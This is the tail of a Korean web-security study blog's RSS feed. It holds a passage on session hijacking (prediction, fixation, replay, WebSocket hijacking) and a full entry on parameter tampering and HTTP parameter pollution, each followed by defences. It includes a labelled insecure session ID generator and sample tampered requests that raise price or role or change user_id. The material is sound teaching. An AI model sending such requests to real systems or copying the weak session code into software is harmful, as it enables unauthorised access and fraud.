&lt;p data-ke-size=&quot;size16&quot;&gt;Secure 속성이 있는 쿠키는 HTTPS에서만 전송되며, 이를 통해 중간자 공격자가 민감 쿠키를 접근하는 위험을 줄인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;로컬 환경 / 브라우저 탈취&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성 확장 프로그램, 악성코드, 공유 pc, 취약한 브라우저 저장소 등으로 쿠키가 유출될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 경우 웹앱 자체 취약점이 없어도 세션이 탈취될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 세션예측&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 ID가 충분히 랜덤하지 않으면 공격자가 맞혀버릴 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 시간 값, 사용자 ID, 단순 난수를 사용하면 세션 ID가 예측 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CWE는 예측 가능한 식별자나 불충분한 난수 사용이 세션 하이재킹으로 이어질 수 있다고 설명한다.&lt;/p&gt;
&lt;pre id=&quot;code_1772614486730&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function generateSessionID($userID){
    srand($userID);
    return rand();
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;나쁜 예시의 코드이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 ID가 같으면 동일하거나 예측 가능한 결과가 나올 수 있어 매우 위험하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. Session Fixation&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 하이재킹의 하위 유형으로 매우 자주 같이 언급된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 공격자가 자신이 아는 세션 ID를 피해자에게 미리 쓰게 만든 뒤, 피해자가 로그인하면 그 세션이 인증된 세션으로 승격되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 전 세션을 로그인 후에도 그대로 유지하고 새 세션으로 교체하지 않으면 fixation이 가능하다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;시나리오&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자가 미리 세션 ID AAAA를 확보&lt;/li&gt;
&lt;li&gt;피해자에게 그 세션 ID를 쓰게 만듦&lt;/li&gt;
&lt;li&gt;피해자가 로그인&lt;/li&gt;
&lt;li&gt;서버가 세션 재발급 없이 그대로 AAAA를 인증된 세션으로 사용&lt;/li&gt;
&lt;li&gt;공격자가 AAAA를 아니까 로그인된 세션 사용 가능&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 이 경우는 훔치는게 아니라 미리 고정해 둔 세션을 재사용하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 로그인 성공 시 반드시 세션 ID를 재생성 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 재전송(Replay)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 네트워크에서 인증 관련 요청이나 세션 토큰을 캡처한 뒤 다시 보내는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CWE는 캡처/리플레이 취약점이 있으면 네트워크 트래픽 도청을 통해 인증을 우회할 수 있다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 쿠키 자체가 탈취된 경우에도 본질적으로 유효한 세션 값을 재전송하는 것이므로 replay 성격을 가진다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. Cross-Site WebSocket Hijacking&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 소켓도 조심해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 WebSocket 핸드셰이크 때도 쿠키를 자동으로 포함할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 서버가 Origin 검증이나 CSRF 유사 방어 없이 쿠키 기반인증만 신뢰하면 악성 사이트가 사용자의 브라우저를 이용해 인증된 WebSocket 연결을 열 수 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;방어 방법&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 세션 ID는 반드시 강한 랜덤값 사용&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 ID는 충분히 길고, 예측 불가능하고, 충돌 가능성이 낮아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 구현하지 말고, 프레임워크 기본 세션 메커니즘을 활용하는 게 원칙이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 로그인 직후 세션 재생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 성공 전후에 같은 세션 ID를 계속 쓰면 fixation에 취약하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 인증 직후 세션 ID를 새로 발급해야 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 세션 쿠키에 HttpOnly&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 쿠키는 JavaScript에서 읽을 필요가 거의 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 HttpOnly를 설정해 XSS로 인한 직접 쿠키 탈취를 줄여야 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. Secure + HTTPS 강제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 쿠키는 HTTPS에서만 전송되도록 Secure를 설정해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP로 전송되면 중간자 공격에 노출될 수 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. SameSite와 CSRF 방어&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SameSite=Lax 또는 가능하면 Strict를 사용하고, 민감 동작에는 별도 CSRF 토큰 등 방어를 두어야 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;6. 세션 만료 정책&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;7196&quot; data-start=&quot;7161&quot;&gt;&lt;b&gt;Idle timeout&lt;/b&gt;: 일정 시간 활동 없으면 만료&lt;/li&gt;
&lt;li data-end=&quot;7235&quot; data-start=&quot;7197&quot;&gt;&lt;b&gt;Absolute timeout&lt;/b&gt;: 최대 세션 지속 시간 제한&lt;/li&gt;
&lt;li data-end=&quot;7266&quot; data-start=&quot;7236&quot;&gt;&lt;b&gt;Renewal timeout&lt;/b&gt;: 주기적 재발급&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 체크리스트&lt;/p&gt;
&lt;pre id=&quot;code_1772615956702&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Set-Cookie: __Host-session=RANDOM_VALUE;
 Path=/;
 Secure;
 HttpOnly;
 SameSite=Lax&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Secure와 HttpOnly를 권장&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Web Study</category>
      <category>web</category>
      <category>webhacking</category>
      <category>webstudy</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/163</guid>
      <comments>https://yeonbugs.tistory.com/163#entry163comment</comments>
      <pubDate>Wed, 4 Mar 2026 18:20:24 +0900</pubDate>
    </item>
    <item>
      <title>Parameter Tampering Attack</title>
      <link>https://yeonbugs.tistory.com/162</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Parameter Tempering Attack&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 클라이언트와 서버 사이에서 전달되는 파라미터를 임의로 수정해서, 애플리케이션 데이터나 동작을 바꾸는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL query string, hidden form field, cookie 등으로 전달되는 값을 조작으로, 예시로는 사용자 자격, 권한, 상품 가격, 수량 같은 값 변경이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;서버가 사용자가 보낸 값을 믿으면 안되는데 믿었을 때 생기는 문제&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CWE-472: hidden field, parameter, cookie, URL값이 변조되지 않을 것이라고 잘못 가정하는 문제를 설명&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CWE-20: 개발자가 쿠키나 hidden field가 수정 불가능하다고 믿으면 입력 검증 자체를 생략할 수 있다고 설명&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;☞ 단순히 &quot;값이 바뀐다&quot;가 아니라, 그 값이 다음 같은 보안 의사 결정에 쓰일 수 있기 때문이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 가격 조작&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 요청&lt;/p&gt;
&lt;pre id=&quot;code_1772543295777&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /checkout
product_id=10&amp;amp;price=10000&amp;amp;quantity=1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 수정&lt;/p&gt;
&lt;pre id=&quot;code_1772543312968&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /checkout
product_id=10&amp;amp;price=100&amp;amp;quantity=1&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버가 price를 DB에서 다시 계산하지 않고, 클라이언트가 보낸 값을 그대로 결제 로직에 사용하면 가격 조작이 성립한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 권한 조작&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 요청&lt;/p&gt;
&lt;pre id=&quot;code_1772543409853&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /profile/update
username=test&amp;amp;role=user&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 수정&lt;/p&gt;
&lt;pre id=&quot;code_1772543418434&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;POST /profile/update
username=test&amp;amp;role=admin&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버가 role 값을 사용자 입력에서 받아 반영하면, 일반 사용자가 관리자 권한을 얻는 문제가 생길 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. ID 값 조작&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 요청&lt;/p&gt;
&lt;pre id=&quot;code_1772543670712&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /account?user_id=1001&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 수정&lt;/p&gt;
&lt;pre id=&quot;code_1772543683394&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /account?user_id=1002&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버가 로그인한 사용자가 정말 1002 계정에 접근 가능한가를 확인하지 않으면 이것은 IDOR로 이어짐&lt;br /&gt;IDOR은 user-supplied input으로 객체를 직접 참조할 때 발생하는 access control 취약점&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;hidden field가 왜 안전하지 않은가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초보자가 가장 많이 오해하는 부분&lt;/p&gt;
&lt;pre id=&quot;code_1772543902773&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;price&quot; value=&quot;10000&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;hidden은 안 보일 뿐, 보호되는 값이 아니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hidden은 UI에서 숨길 뿐 secure가 아니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;쿠키도 왜 신뢰하면 안되나?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키 역시 클라이언트 저장소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 다음 같은 구조는 위험하다.&lt;/p&gt;
&lt;pre id=&quot;code_1772587603514&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Cookie: role=user&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 공격자가 role=admin으로 바꿀 수 있다면, 서버는 절대 이 값을 권한 판단의 근거로 사용해선 안된다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;HTTP Paramter Pollution&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP Paramter Pollution은 &lt;b&gt;HTTP 파라미터를 여러 번 보내서 애플리케이션 해석을 꼬이게 만드는 테스트 항목&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로 인해 &lt;b&gt;입력 검증 우회&lt;/b&gt;, &lt;b&gt;에러 유발&lt;/b&gt;, &lt;b&gt;내부 변수 수정&lt;/b&gt;이 발생할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1772588056593&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;?role=user&amp;amp;role=admin&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 번째 값을 쓰는지&lt;/li&gt;
&lt;li&gt;마지막 값을 쓰는지&lt;/li&gt;
&lt;li&gt;배열로 처리하는지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다를 수 있어서 보안 문제가 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Paramter Tampering은 더 넓은 개념이고, 파라미터 값을 바꿔서 서버 동작을 조작하는 행위를 말하는 것이므로 조금 다르다는 것을 염두에 두어야 한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Paramter tampering 자체는 공격 기법이고, 결과적으로는 여러 취약점으로 이어질 수 있다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 63.9535%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;조작한 값&lt;/td&gt;
&lt;td style=&quot;width: 38.4884%;&quot;&gt;이어질 수 있는 취약점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;user_id, order_id&lt;/td&gt;
&lt;td style=&quot;width: 38.4884%;&quot;&gt;IDOR / Broken Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;role, isAdmin&lt;/td&gt;
&lt;td style=&quot;width: 38.4884%;&quot;&gt;Privilege Escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;price, discount, quantity&lt;/td&gt;
&lt;td style=&quot;width: 38.4884%;&quot;&gt;Business Logic Flaw&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.4651%;&quot;&gt;중복 파라미터&lt;/td&gt;
&lt;td style=&quot;width: 38.4884%;&quot;&gt;HTTP Paramter Pollution&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;방어 기법&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 클라이언트 값은 신뢰하지 않는다.&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가격, 권한, 승인 여부, 할인율, 관리자 여부 같은 값은 클라이언트에게 받아도 참고용일 뿐, 보안 결정은 서버가 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 민감한 값은 서버에서 재계산하기&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가격 &amp;rarr; 상품 DB에서 조회&lt;/li&gt;
&lt;li&gt;총액 &amp;rarr; 서버 계산&lt;/li&gt;
&lt;li&gt;권한&amp;nbsp;&amp;rarr; 세션/토큰/DB 기준판단&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 입력 검증 서버에서 하기&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 객체 접근 전 인가 검사 하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;USER_ID = 1002 가 들어왔으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 로그인한 사용자가 1002 자원에 접근 가능한가? 를 반드시 확인해야 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5. 중복 파라미터 정책 명확히 하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일 이름 파라미터가 여러 개 들어오면 거부하거나, 해석 규칙을 일관되게 강제해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Web Study</category>
      <category>web</category>
      <category>webhacking</category>
      <author>y3onbug5</author>
      <guid isPermaLink="true">https://yeonbugs.tistory.com/162</guid>
      <comments>https://yeonbugs.tistory.com/162#entry162comment</comments>
      <pubDate>Wed, 4 Mar 2026 10:53:09 +0900</pubDate>
    </item>
  </channel>
</rss>